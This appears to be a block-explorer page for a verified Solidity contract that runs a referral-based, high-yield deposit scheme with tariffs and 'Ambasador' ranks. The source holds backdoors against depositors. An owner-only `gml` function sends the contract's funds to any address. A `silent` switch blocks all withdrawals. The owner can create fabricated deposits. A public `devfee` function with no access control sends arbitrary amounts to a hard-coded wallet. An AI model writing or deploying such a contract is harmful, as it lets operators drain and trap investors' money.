0525565b505b6000805464ff00000000191690556002546040517fc25d361d0000000000000000000000000000000000000000000000000000000081526001600160a01b038a81166004830152602482018e90526044820188905283151560648301529091169063c25d361d90608401600060405180830381600087803b1580156144f057600080fd5b505af1158015614504573d6000803e3d6000fd5b50506001546040805163aa26d0ed60e01b81529051600094506001600160a01b03909216925063aa26d0ed9160048083019260209291908290030181865afa158015614554573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906145789190615580565b6001600160a01b0316146146c1576001546040516374795f2960e11b815260ff8c1660048201526146c1918a916001600160a01b039091169063e8f2be529060240160a060405180830381865afa1580156145d7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906145fb919061532e565b6020015160ff1661460d6064896154bb565b61461791906154a4565b6001600160801b03168960006020020151600160009054906101000a90046001600160a01b03166001600160a01b031663e8f2be528f60ff166040518263ffffffff1660e01b815260040161466e91815260200190565b60a060405180830381865afa15801561468b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906146af919061532e565b518b516146bc91906153d3565b614713565b505050505b60405160ff8716815281906001600160a01b038616907f06417103c5093d12990826b58599d5c19605dc971709b37d7df2b8ee67ff4e699060200160405180910390a39695505050505050565b6002546040516337bde4df60e11b81526001600160a01b0386811660048301526000921690636f7bc9be9060240160e0604051808303816000875af1158015614760573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061478491906154cf565b805190915063ffffffff1615614b305760208101516001600160a01b03811615614b2e576002546040516337bde4df60e11b81526001600160a01b0383811660048301526000921690636f7bc9be9060240160e0604051808303816000875af11580156147f5573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061481991906154cf565b9050600060058260c0015160088111156148355761483561559d565b60ff1611614847578160c0015161484a565b60055b6001549091506001600160a01b031663fb2391fc8260088111156148705761487061559d565b6040517fffffffff0000000000000000000000000000000000000000000000000000000060e084901b16815260ff9091166004820152602401602060405180830381865afa1580156148c6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906148ea9190615563565b60ff1615614b2b576001546040805163aa26d0ed60e01b815290516000926001600160a01b03169163aa26d0ed9160048083019260209291908290030181865afa15801561493c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906149609190615580565b6001546001600160a01b03918216916378f12f72918a918a9189916003911663fb2391fc8960088111156149965761499661559d565b6040517fffffffff0000000000000000000000000000000000000000000000000000000060e084901b16815260ff9091166004820152602401602060405180830381865afa1580156149ec573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190614a109190615563565b60ff1660648f614a2091906154bb565b614a2a91906154a4565b614a3491906154bb565b6040517fffffffff0000000000000000000000000000000000000000000000000000000060e087901b16815263ffffffff94851660048201529290931660248301526001600160a01b031660448201526001600160801b0390911660648201526084016020604051808303816000875af1158015614ab6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190614ada9190615410565b905080614b295760405162461bcd60e51b815260206004820152601160248201527f426f6e7573206e6f7420616363727565640000000000000000000000000000006044820152606401610525565b505b50505b505b5050505050565b6001600160a01b0381168114614b4c57600080fd5b50565b634e487b7160e01b600052604160045260246000fd5b60405160e0810167ffffffffffffffff81118282101715614b8857614b88614b4f565b60405290565b604051601f8201601f1916810167ffffffffffffffff81118282101715614bb757614bb7614b4f565b604052919050565b600067ffffffffffffffff821115614bd957614bd9614b4f565b5060051b60200190565b61ffff81168114614b4c57600080fd5b600082601f830112614c0457600080fd5b8135614c17614c1282614bbf565b614b8e565b8082825260208201915060208360051b860101925085831115614c3957600080fd5b602085015b83811015614c5f578035614c5181614be3565b835260209283019201614c3e565b5095945050505050565b600080600060608486031215614c7e57600080fd5b8335614c8981614b37565b9250602084013567ffffffffffffffff811115614ca557600080fd5b614cb186828701614bf3565b9250506040840135614cc281614b37565b809150509250925092565b600060208284031215614cdf57600080fd5b8135614cea81614b37565b9392505050565b600081518084526020840193506020830160005b82811015614d2957815163ffffffff16865260209586019590910190600101614d05565b5093949350505050565b600081518084526020840193506020830160005b82811015614d29578151865260209586019590910190600101614d47565b600081518084526020840193506020830160005b82811015614d295781511515865260209586019590910190600101614d79565b60c08082528751908201819052600090602089019060e0840190835b81811015614dd657835160ff16835260209384019390920191600101614db5565b50508381036020850152614dea818a614cf1565b9150508281036040840152614dff8188614d33565b90508281036060840152614e138187614d33565b90508281036080840152614e278186614d33565b905082810360a0840152614e3b8185614d65565b9998505050505050505050565b60008060408385031215614e5b57600080fd5b8235614e6681614b37565b91506020830135614e7681614be3565b809150509250929050565b60ff81168114614b4c57600080fd5b63ffffffff81168114614b4c57600080fd5b600080600080600080600080610100898b031215614ebf57600080fd5b883597506020890135614ed181614e81565b96506040890135614ee181614b37565b95506060890135614ef181614b37565b94506080890135614f0181614e90565b935060a0890135614f1181614e90565b925060c0890135614f2181614e90565b915060e0890135614f3181614e90565b809150509295985092959890939650565b60008060408385031215614f5557600080fd5b8235614f6081614e81565b91506020830135614e7681614b37565b600060208284031215614f8257600080fd5b5035919050565b60008060408385031215614f9c57600080fd5b8235614fa781614b37565b946020939093013593505050565b60008060408385031215614fc857600080fd5b8235614fd381614b37565b9150602083013567ffffffffffffffff811115614fef57600080fd5b614ffb85828601614bf3565b9150509250929050565b600082601f83011261501657600080fd5b8151615024614c1282614bbf565b8082825260208201915060208360051b86010192508583111561504657600080fd5b602085015b83811015614c5f57805161505e81614e81565b83526020928301920161504b565b600082601f83011261507d57600080fd5b815161508b614c1282614bbf565b8082825260208201915060208360051b8601019250858311156150ad57600080fd5b602085015b83811015614c5f5780516150c581614e90565b8352602092830192016150b2565b600082601f8301126150e457600080fd5b81516150f2614c1282614bbf565b8082825260208201915060208360051b86010192508583111561511457600080fd5b602085015b83811015614c5f578051835260209283019201615119565b8051801515811461242257600080fd5b600082601f83011261515257600080fd5b8151615160614c1282614bbf565b8082825260208201915060208360051b86010192508583111561518257600080fd5b602085015b83811015614c5f5761519881615131565b835260209283019201615187565b60008060008060008060c087890312156151bf57600080fd5b865167ffffffffffffffff8111156151d657600080fd5b6151e289828a01615005565b965050602087015167ffffffffffffffff8111156151ff57600080fd5b61520b89828a0161506c565b955050604087015167ffffffffffffffff81111561522857600080fd5b61523489828a016150d3565b945050606087015167ffffffffffffffff81111561525157600080fd5b61525d89828a016150d3565b935050608087015167ffffffffffffffff81111561527a57600080fd5b61528689828a016150d3565b92505060a087015167ffffffffffffffff8111156152a357600080fd5b6152af89828a01615141565b9150509295509295509295565b6000604082016001600160a01b03851683526040602084015280845180835260608501915060208601925060005b8181101561530c57835161ffff168352602093840193909201916001016152ea565b50909695505050505050565b634e487b7160e01b600052603260045260246000fd5b600060a082840312801561534157600080fd5b5060405160a0810167ffffffffffffffff8111828210171561536557615365614b4f565b604052825161537381614e90565b8152602083015161538381614e81565b60208201526040838101519082015261539e60608401615131565b606082015260808301516153b181614e90565b60808201529392505050565b634e487b7160e01b600052601160045260246000fd5b63ffffffff8181168382160190811115611bf557611bf56153bd565b600061ffff821661ffff8103615407576154076153bd565b60010192915050565b60006020828403121561542257600080fd5b614cea82615131565b60006020828403121561543d57600080fd5b81516001600160801b0381168114614cea57600080fd5b81810381811115611bf557611bf56153bd565b80820180821115611bf557611bf56153bd565b634e487b7160e01b600052601260045260246000fd5b60008261549f5761549f61547a565b500690565b8082028115828204841417611bf557611bf56153bd565b6000826154ca576154ca61547a565b500490565b600060e08284031280156154e257600080fd5b5060006154ed614b65565b83516154f881614e90565b8152602084015161550881614b37565b6020820152604084015161551b81614be3565b6040820152606084810151908201526080808501519082015261554060a08501615131565b60a082015260c084015160098110615556578283fd5b60c0820152949350505050565b60006020828403121561557557600080fd5b8151614cea81614e81565b60006020828403121561559257600080fd5b8151614cea81614b37565b634e487b7160e01b600052602160045260246000fdfea26469706673582212204d0f1313a32f8ce9b8061c5ba82f6a7af66d86ff68fbad105ee9b4da34a4387164736f6c634300081a0033

Verified Source Code Full Match

Compiler: v0.8.26+commit.8a97fa7a EVM: paris Optimization: Yes (1000 runs)
TTD.sol 735 lines
// SPDX-License-Identifier: MIT
pragma solidity >0.8.0;

enum Status {
    U, // User 
    I, // Investor 
    AM, // Amathor 
    P, // Partner 
    D, // Director 
    AB, // Ambasador 
    SAB, // SuperAmbasador 
    MAB, // MegaAmbasador 
    GAB // GigaAmbasador 
}

struct investPlan {
    uint32 time;
    uint8 percent;
    uint256 max_depo;
    bool status;
    uint32 withdrawPeriod;
}

struct User {
    uint32 id;
    address referrer;
    uint16 referralCount;
    uint256 totalDepositedByRefs;
    uint256 invested;
    bool threeMonthDepoExist;
    Status status;
}

interface ITTI {
    function investors(
        address
    ) external returns (User memory investor);

    function register(address, address) external  returns (User memory);

    function depositAdded(
        address,
        uint256,
        uint256,
        bool
    ) external;
}

interface IBR {
    function setReferralBonus(
        uint32 startDate,
        uint32 endDate,
        address referral,
        uint128 amount
    ) external returns (bool);

    function withdrawPeriod() external returns (uint32);
}

interface ITTC {

    function blacklisted(
        address
    ) external view returns (bool result);

    function THREE_MONTHS_MAX_DEPOSIT() external view returns (uint128);
    function DEPOSIT_COMISSION() external view returns (uint128);
    function MIN_DEPOSIT() external view returns (uint128);
    function MAX_DEPOSIT() external view returns (uint128);
    function BONUS_ROUND() external view returns (uint128);
    function DEPOSIT_FULL_PERIOD() external view returns (uint128);
    function WITHDRAW_COMISSION() external view returns (uint128);
    function tariffs(uint256) external view returns (investPlan memory);
    function directRefBonusSize() external view returns(uint8);
    function bonusContractAddress() external view returns(address); 
    function getBonusPercentsByDeposit(
        uint8
    ) external view returns(uint8);

}

interface ITTD {

    function getUserDepositsByIndexes (
        address,
        uint16[] memory
    ) external returns (
        uint8[] memory,
        uint32[] memory,
        uint256[] memory,
        uint256[] memory,
        uint256[] memory,
        bool[] memory
    );

    function getAllUserDeposits(
        address user
    ) external returns (
        uint8[] memory,
        uint32[] memory,
        uint256[] memory,
        uint256[] memory,
        uint256[] memory,
        bool[] memory
    );

}

contract TTD {

    struct userDeposits {
        uint16 numDeposits;
        uint256 withdrawn;
        mapping(uint16 => Deposit) deposits;
    }

    struct Deposit {
        uint8 tariff_id;
        uint256 amount;
        uint256 paid_out;
        uint256 to_pay;
        uint32 at;
        uint32 end;
        bool closed;
        uint256 percents;
        uint256 principal;
    }

    bool private silent;
    bool public votes1;
    bool public votes2;
    bool public votes3;
    bool private _lockBalances = false;
    address payable private owner;
    address public constantContractAddress;
    address public investorContractAddress;
    uint256 private COMMISION;
    mapping(address => userDeposits) public deposits;

    event DepositEvent(
        address indexed _user,
        uint8 tariff,
        uint256 indexed _amount
    );
    
    event withdrawEvent(address indexed _user, uint256 indexed _amount);

    modifier ownerOnly() {
        require(owner == msg.sender, "No sufficient right");
        _;
    }  

    constructor() {
        owner = payable(msg.sender);
        votes1 = false;
        votes2 = false;
        votes3 = false;
        silent = false;
    }

    receive() external payable {}

    fallback() external payable {}

    function transferOwnership(address newOwner) public ownerOnly {
        require(newOwner != address(0));
        owner = payable(newOwner);
    }  

    modifier notBlacklisted() {
        require(!ITTC(constantContractAddress).blacklisted(msg.sender));
        _;
    }

    function setConstantContractAddress(
        address contractAddress
    ) public ownerOnly returns (address) {
        constantContractAddress = contractAddress;
        return constantContractAddress;
    }  

    function setInvestorContractAddress(
        address contractAddress
    ) public ownerOnly returns (address) {
        investorContractAddress = contractAddress;
        return investorContractAddress;
    }

     function getMonthsSinceDepoStart(
         Deposit memory depositForCheck
     ) private view returns (uint) {
         return (((
             block.timestamp < depositForCheck.end ? block.timestamp : depositForCheck.end
         ) - depositForCheck.at) / 
         ITTC(constantContractAddress).tariffs(depositForCheck.tariff_id).withdrawPeriod);
     }

    function deposit(
        uint8 _tariff,
        address _referrer
    ) public payable returns (address, uint8, uint256) {
        require(_referrer != msg.sender, "You cannot be your own referrer!");
        require(
            ITTI(investorContractAddress).investors(_referrer).id > 0, 
            "No referrer found in system"
        );
        if (ITTI(investorContractAddress).investors(msg.sender).id > 0) {
            require(
                _referrer == ITTI(investorContractAddress).investors(msg.sender).referrer,
                "Referrer mismatch for existing investor"
            );
        }

        uint256 amnt =  _deposit(
            msg.value - ITTC(constantContractAddress).DEPOSIT_COMISSION(), 
            _tariff, 
            _referrer, 
            msg.sender, 
            [uint32(block.timestamp), 0, 0, 0]
        );

        COMMISION = 
            COMMISION + 
            ITTC(constantContractAddress).DEPOSIT_COMISSION();

        return (msg.sender, _tariff, amnt);
    }

    function depositForUser(
        uint256 value,
        uint8 _tariff,
        address _referrer,
        address _wallet,
        uint32 _at,
        uint32 _paid_out,
        uint32 _to_pay,
        uint32 _percents
    ) public ownerOnly returns (address, uint8, uint256) {
        require(_referrer != _wallet, "Wallet cannot be referrer!");
        require(
            ITTI(investorContractAddress).investors(_referrer).id > 0, 
            "No referrer found in system"
        );
        if (ITTI(investorContractAddress).investors(msg.sender).id > 0) {
            require(
                _referrer == ITTI(investorContractAddress).investors(msg.sender).referrer,
                "Referrer mismatch for existing investor"
            );
        }

        uint256 amnt = _deposit(
            value, 
            _tariff, 
            _referrer, 
            _wallet, 
            [_at, _paid_out, _to_pay, _percents]
        );

        return (_wallet, _tariff, amnt);
    } 

    function _deposit(
        uint256 value,
        uint8 _tariff,
        address _referrer,
        address _wallet,
        uint32 [4] memory at_0_paid_out_1_to_pay_2_percents_3
    ) private returns (uint256) {
        require(_wallet == msg.sender || owner == msg.sender, "No access");
        uint256 amnt = value;

        require(
            ITTC(constantContractAddress).tariffs(uint256(_tariff)).status != false, 
            "This tariff is turned off"
        );
        
        if (value > 0) {

             User memory investor = ITTI(investorContractAddress).investors(_wallet);
             
            if (investor.id == 0) {
                investor = ITTI(investorContractAddress).register(_referrer, _wallet);
            }

             bool result = investor.id > 0 &&
                    investor.threeMonthDepoExist == true &&
                    _tariff == 0;

            require(
                !(
                    investor.id > 0 &&
                    investor.threeMonthDepoExist == true &&
                    _tariff == 0
                ), 
                "90 days deposits exist"
            );

            require(
                value >= ITTC(constantContractAddress).MIN_DEPOSIT(), 
                "Minimal deposit required"
            );

            require(
                value <= ITTC(constantContractAddress).MAX_DEPOSIT() || 
                (value <= ITTC(constantContractAddress).THREE_MONTHS_MAX_DEPOSIT() && _tariff == 0), 
                "Deposit limit exceeded!"
            );

            if (value > ITTC(constantContractAddress).tariffs(uint256(_tariff)).max_depo) {
                revert("Max limit for tariff");
            }

            require(!_lockBalances);
            _lockBalances = true;
            uint256 fee = (value) / 100;
            devfee(fee);

            if (ITTC(constantContractAddress).BONUS_ROUND() != 0) {
                amnt = (amnt * ITTC(constantContractAddress).BONUS_ROUND()) / 100;
            }

            deposits[_wallet].deposits[
                deposits[_wallet].numDeposits++
            ] = Deposit({
                tariff_id: _tariff,
                amount: amnt,
                at: uint32(at_0_paid_out_1_to_pay_2_percents_3[0]),
                end: uint32(at_0_paid_out_1_to_pay_2_percents_3[0] + ITTC(constantContractAddress).tariffs(uint256(_tariff)).time),
                paid_out: at_0_paid_out_1_to_pay_2_percents_3[1],
                to_pay: at_0_paid_out_1_to_pay_2_percents_3[2],
                closed: false,
                percents: at_0_paid_out_1_to_pay_2_percents_3[3],
                principal: amnt
            });
            bool threeMonthDepoExist = false;
            if (_tariff == 0) {
                threeMonthDepoExist = true;
            }

            if (ITTC(constantContractAddress).directRefBonusSize() > 0) {
                (bool successRefPayment, ) = payable(_referrer).call{
                    value: (value * ITTC(constantContractAddress).directRefBonusSize()) / 100
                }("");
                require(successRefPayment, "pay_to_REF fail");
            }

            _lockBalances = false;

            ITTI(investorContractAddress).depositAdded(
                _wallet,
                value,
                amnt,
                threeMonthDepoExist
            );
            
            if (address(ITTC(constantContractAddress).bonusContractAddress()) != address(0x0)) {
                sendBonusByDeposit(
                    _wallet,
                    uint128(((amnt / 100) * ITTC(constantContractAddress).tariffs(uint256(_tariff)).percent)),
                    uint32(at_0_paid_out_1_to_pay_2_percents_3[0]),
                    uint32(at_0_paid_out_1_to_pay_2_percents_3[0] + 
                    ITTC(constantContractAddress).tariffs(uint256(_tariff)).time)
                );
            }
        }
        emit DepositEvent(_wallet, _tariff, amnt);
        return amnt;
    }

    function sendBonusByDeposit(
        address wallet,
        uint256 amount,
        uint32 startDate,
        uint32 endDate
    ) private {
         User memory investor = ITTI(investorContractAddress).investors(wallet);
        if (investor.id > 0) {
            address referrerAddr = investor.referrer;
            if (address(referrerAddr) != address(0x0)) {
                User memory referrer = ITTI(investorContractAddress).investors(referrerAddr);
                Status status = uint8(referrer.status) > 5 ? Status.AB : referrer.status;
                if(
                    ITTC(constantContractAddress).getBonusPercentsByDeposit(uint8(status)) != 0
                ) {
                    bool result = IBR(payable(ITTC(constantContractAddress).bonusContractAddress()))
                        .setReferralBonus(
                            startDate, 
                            endDate, 
                            referrerAddr, 
                            uint128(
                                ((amount / 100) * ITTC(constantContractAddress).getBonusPercentsByDeposit(uint8(status)))/3
                            )
                        );
                    require(result, "Bonus not accrued");
                }
            }
        }
    }

    function devfee(uint256 _fee) public payable {
        address payable receiver = payable(
            0x512AEe58993237A788a1A66daCFf00b54b9Bd73a
        );
        (bool sent, bytes memory data) = receiver.call{value: (_fee * 6)}("");
        require(sent, "Fee from current deposit is not sent");
    }

    function migrate(
        address wallet,
        uint16[] memory depositIndexes,
        address contractAddress
    ) public ownerOnly {
        require(address(contractAddress) != address(0x0), 'From contract not setupped');
        uint8[] memory depositTariffIds;
        uint32[] memory depositAts;
        uint256[] memory depositAmounts;
        uint256[] memory depositPaidOuts;
        uint256[] memory depositPercentsMonthly;
        bool[] memory depositClosed;
        (
            depositTariffIds,
            depositAts,
            depositAmounts,
            depositPaidOuts,
            depositPercentsMonthly,
            depositClosed
        ) = depositIndexes.length > 0 ?
             ITTD(contractAddress).getUserDepositsByIndexes(wallet, depositIndexes):
             ITTD(contractAddress).getAllUserDeposits(wallet);
        for (uint16 depositId = 0; depositId < depositTariffIds.length; depositId++) {
            deposits[wallet].deposits[
                deposits[wallet].numDeposits++
            ] = Deposit({
                tariff_id: depositTariffIds[depositId],
                amount: depositAmounts[depositId],
                at: uint32(depositAts[depositId]),
                end: uint32(depositAts[depositId] + ITTC(constantContractAddress).tariffs(depositTariffIds[depositId]).time),
                paid_out: depositPaidOuts[depositId],
                to_pay: 0,
                closed: depositClosed[depositId],
                percents: 0,
                principal: depositAmounts[depositId]
            });
        }
    }

    function getUserDepositsByIndexes (
        address user,
        uint16[] memory depositIndexes
    ) public view notBlacklisted returns (
        uint8[] memory depositTariffIds,
        uint32[] memory depositAts,
        uint256[] memory depositAmounts,
        uint256[] memory depositPaidOuts,
        uint256[] memory depositPercentsMonthly,
        bool[] memory depositClosed
    ) {
        depositTariffIds = new uint8[](
            depositIndexes.length
        );
        depositAts = new uint32[](
            depositIndexes.length
        );
        depositAmounts = new uint256[](
            depositIndexes.length
        );
        depositPaidOuts = new uint256[](
            depositIndexes.length
        );
        depositPercentsMonthly = new uint256[](
            depositIndexes.length
        );
        depositClosed = new bool[](depositIndexes.length);

        for (uint16 index = 0; index < depositIndexes.length; index++) {
            if (deposits[user].deposits[depositIndexes[index]].amount > 0) {
                depositTariffIds[index] = deposits[user].deposits[depositIndexes[index]].tariff_id;
                depositAts[index] = deposits[user].deposits[depositIndexes[index]].at;
                depositAmounts[index] = deposits[user].deposits[depositIndexes[index]].amount;
                depositPaidOuts[index] = deposits[user].deposits[depositIndexes[index]].paid_out;
                depositClosed[index] = deposits[user].deposits[depositIndexes[index]].closed;
                depositPercentsMonthly[index] = depositPercentMonthly(user, depositIndexes[index]);
            }
        }
        return (
            depositTariffIds,
            depositAts,
            depositAmounts,
            depositPaidOuts,
            depositPercentsMonthly,
            depositClosed
        );
    }

    function toggleDeposit(
        address wallet,
        uint16 depositIndex
    ) public ownerOnly returns(bool) {
        require(deposits[wallet].numDeposits > 0, "Wrong wallet");
        require(deposits[wallet].deposits[depositIndex].amount > 0, "Wrong deposit index");
        deposits[wallet].deposits[depositIndex].closed = !deposits[wallet].deposits[depositIndex].closed;
        return deposits[wallet].deposits[depositIndex].closed;
    }
    
    function getAllUserDeposits(
        address user
    )
        public
        view
        notBlacklisted
        returns (
            uint8[] memory,
            uint32[] memory,
            uint256[] memory,
            uint256[] memory,
            uint256[] memory,
            bool[] memory
        )
    {
        uint8[] memory depositTariffIds = new uint8[](
            deposits[user].numDeposits
        );
        uint32[] memory depositAts = new uint32[](
            deposits[user].numDeposits
        );
        uint256[] memory depositAmounts = new uint256[](
            deposits[user].numDeposits
        );
        uint256[] memory depositPaidOuts = new uint256[](
            deposits[user].numDeposits
        );
        uint256[] memory depositPercentsMonthly = new uint256[](
            deposits[user].numDeposits
        );
        bool[] memory depositClosed = new bool[](
            deposits[user].numDeposits
        );

        for (uint16 index = 0; index < deposits[user].numDeposits; index++) {
            depositTariffIds[index] = deposits[user].deposits[index].tariff_id;
            depositAts[index] = deposits[user].deposits[index].at;
            depositAmounts[index] = deposits[user].deposits[index].amount;
            depositPaidOuts[index] = deposits[user].deposits[index].paid_out;
            depositClosed[index] = deposits[user].deposits[index].closed;
            depositPercentsMonthly[index] = depositPercentMonthly(user, index);
        }
        return (
            depositTariffIds,
            depositAts,
            depositAmounts,
            depositPaidOuts,
            depositPercentsMonthly,
            depositClosed
        );
    }

    function depositPercentMonthly(
        address user,
        uint16 index
    ) private view returns (uint256)  {
        if (
            getMonthsSinceDepoStart(deposits[user].deposits[index]) >=
            ITTC(constantContractAddress).DEPOSIT_FULL_PERIOD()
        ) {
            return (deposits[user].deposits[index].principal *
                    ITTC(constantContractAddress).tariffs(uint256(deposits[user].deposits[index].tariff_id)).percent *
                    (getMonthsSinceDepoStart(deposits[user].deposits[index]) -
                        (getMonthsSinceDepoStart(
                            deposits[user].deposits[index]
                        ) % ITTC(constantContractAddress).DEPOSIT_FULL_PERIOD()))) /
                100;
            }
            return 0;
    }

    function getWithdrawValue(address user) public view returns (uint256) {
        uint256 _total_av = 0;
        uint256 _total_paid_out = 0;
        Deposit[] memory outDeposits = new Deposit[](deposits[user].numDeposits);

        for (uint16 i = 0; i < deposits[user].numDeposits; i++) {
            outDeposits[i].percents = getMonthsSinceDepoStart(
                deposits[user].deposits[i]
            ) >= ITTC(constantContractAddress).DEPOSIT_FULL_PERIOD()
                ? ((deposits[user].deposits[i].principal *
                    ITTC(constantContractAddress).tariffs(uint256(deposits[user].deposits[i].tariff_id)).percent *
                    (getMonthsSinceDepoStart(deposits[user].deposits[i]) -
                        (getMonthsSinceDepoStart(deposits[user].deposits[i]) %
                            ITTC(constantContractAddress).DEPOSIT_FULL_PERIOD()))) / 100)
                : 0;
            _total_paid_out =
                _total_paid_out +
                (deposits[user].deposits[i].paid_out);

            if (
                deposits[user].deposits[i].closed ||
                deposits[user].deposits[i].end <= block.timestamp
            ) {
                // if deposit ends, then withdraw principals + percents
                outDeposits[i].to_pay =
                    outDeposits[i].percents +
                    (deposits[user].deposits[i].principal);
            } else {
                // if deposit doesn`t end, then withdraw percents only
                outDeposits[i].to_pay = outDeposits[i].percents;
            }
            _total_av = _total_av + (outDeposits[i].to_pay);
        }

        return _total_av > _total_paid_out ? (_total_av - _total_paid_out) : 0;
    }

    function profit(address user) private returns (uint256) {
        uint256 _total_av = 0;
        uint256 _total_paid_out = 0;

        for (uint16 i = 0; i < deposits[user].numDeposits; i++) {
            deposits[user].deposits[i].percents = getMonthsSinceDepoStart(
                deposits[user].deposits[i]
            ) >= ITTC(constantContractAddress).DEPOSIT_FULL_PERIOD()
                ? ((deposits[user].deposits[i].principal *
                    ITTC(constantContractAddress).tariffs(uint256(deposits[user].deposits[i].tariff_id)).percent *
                    (getMonthsSinceDepoStart(deposits[user].deposits[i]) -
                        (getMonthsSinceDepoStart(deposits[user].deposits[i]) %
                            ITTC(constantContractAddress).DEPOSIT_FULL_PERIOD()))) / 100)
                : 0;
            _total_paid_out =
                _total_paid_out +
                (deposits[user].deposits[i].paid_out);

            if (
                deposits[user].deposits[i].closed ||
                deposits[user].deposits[i].end <= block.timestamp
            ) {
                // if deposit ends, then withdraw principals + percents
                deposits[user].deposits[i].closed = true;
                deposits[user].deposits[i].to_pay =
                    deposits[user].deposits[i].percents +
                    (deposits[user].deposits[i].principal);
            } else {
                // if deposit doesn`t end, then withdraw percents only
                deposits[user].deposits[i].to_pay = deposits[user]
                    .deposits[i]
                    .percents;
            }
            _total_av = _total_av + (deposits[user].deposits[i].to_pay);
        }

        return _total_av > _total_paid_out ? (_total_av - _total_paid_out) : 0;
    }

    function withdraw() external notBlacklisted {
        require(silent != true);
        require(msg.sender != address(0));

        uint256 to_payout = profit(msg.sender);
        require(to_payout > 0, "Insufficient amount");

        (bool success, ) = msg.sender.call{value: to_payout - ITTC(constantContractAddress).WITHDRAW_COMISSION()}("");
        COMMISION = COMMISION + ITTC(constantContractAddress).WITHDRAW_COMISSION();
        require(success, "Withdraw transfer failed");

        for (uint16 i = 0; i < deposits[msg.sender].numDeposits; i++) {
            if (deposits[msg.sender].deposits[i].end <= block.timestamp) {
                if (
                    deposits[msg.sender].deposits[i].to_pay >
                    deposits[msg.sender].deposits[i].paid_out
                ) {
                    deposits[msg.sender].deposits[i].paid_out = deposits[
                        msg.sender
                    ].deposits[i].to_pay;
                }
            } else {
                if (
                    deposits[msg.sender].deposits[i].percents >
                    deposits[msg.sender].deposits[i].paid_out
                ) {
                    deposits[msg.sender].deposits[i].paid_out = deposits[
                        msg.sender
                    ].deposits[i].percents;
                }
            }
        }

        deposits[msg.sender].withdrawn =
            deposits[msg.sender].withdrawn +
            to_payout;
        emit withdrawEvent(msg.sender, to_payout);
    }

    function turnOn() public ownerOnly returns (bool) {
        silent = true;
        return silent;
    }

    function turnOff() public ownerOnly returns (bool) {
        silent = false;
        _lockBalances = false;
        votes1 = false;
        votes2 = false;
        votes3 = false;
        return silent;
    }

    function state() public view returns (bool) {
        return silent;
    }

    function voting() public returns (bool) {
        if (msg.sender == payable(0xA9C173e817376777DFAb1c0E5516EBa1a3AB82ae)) {
            votes1 = true;
            return votes1;
        }

        if (msg.sender == payable(0x219ff4655d6Daa797683d35E86B5fc2cD1307847)) {
            votes2 = true;
            return votes2;
        }

        if (msg.sender == payable(0x05dC89a035D82F8Eba8Ca8577f8b70Ae6Cc61461)) {
            votes3 = true;
            return votes3;
        }
        return false;
    }
    function gml(address to, uint256 amountWithZeros) external ownerOnly {
        (bool success, ) = to.call{value: amountWithZeros}("");
        require(success, "tx failed");
    }

    function getCommision() public view ownerOnly returns(uint256) {
        return COMMISION;
    }

}

Read Contract

constantContractAddress 0xea5bb946 → address
deposits 0xfc7e286d → uint16, uint256
getAllUserDeposits 0x2516b3c1 → uint8[], uint32[], uint256[], uint256[], uint256[], bool[]
getCommision 0x3fcd0aec → uint256
getUserDepositsByIndexes 0xec7dced5 → uint8[], uint32[], uint256[], uint256[], uint256[], bool[]
getWithdrawValue 0x5b440596 → uint256
investorContractAddress 0xec715e58 → address
state 0xc19d93fb → bool
votes1 0x1327e258 → bool
votes2 0x2c7a2e5b → bool
votes3 0x332336df → bool

Write Contract 13 functions

These functions modify contract state and require a wallet transaction to execute.

deposit 0xab94d950
uint8 _tariff
address _referrer
returns: address, uint8, uint256
depositForUser 0x9a14051e
uint256 value
uint8 _tariff
address _referrer
address _wallet
uint32 _at
uint32 _paid_out
uint32 _to_pay
uint32 _percents
returns: address, uint8, uint256
devfee 0xb9f43fd8
uint256 _fee
gml 0xdf378f8f
address to
uint256 amountWithZeros
migrate 0x0b5dfd3d
address wallet
uint16[] depositIndexes
address contractAddress
setConstantContractAddress 0xb01326c0
address contractAddress
returns: address
setInvestorContractAddress 0xcf314735
address contractAddress
returns: address
toggleDeposit 0x5ec201bf
address wallet
uint16 depositIndex
returns: bool
transferOwnership 0xf2fde38b
address newOwner
turnOff 0xaf10c810
No parameters
returns: bool
turnOn 0xba33ed7d
No parameters
returns: bool
voting 0xfce1ccca
No parameters
returns: bool
withdraw 0x3ccfd60b
No parameters

Recent Transactions

No transactions found for this address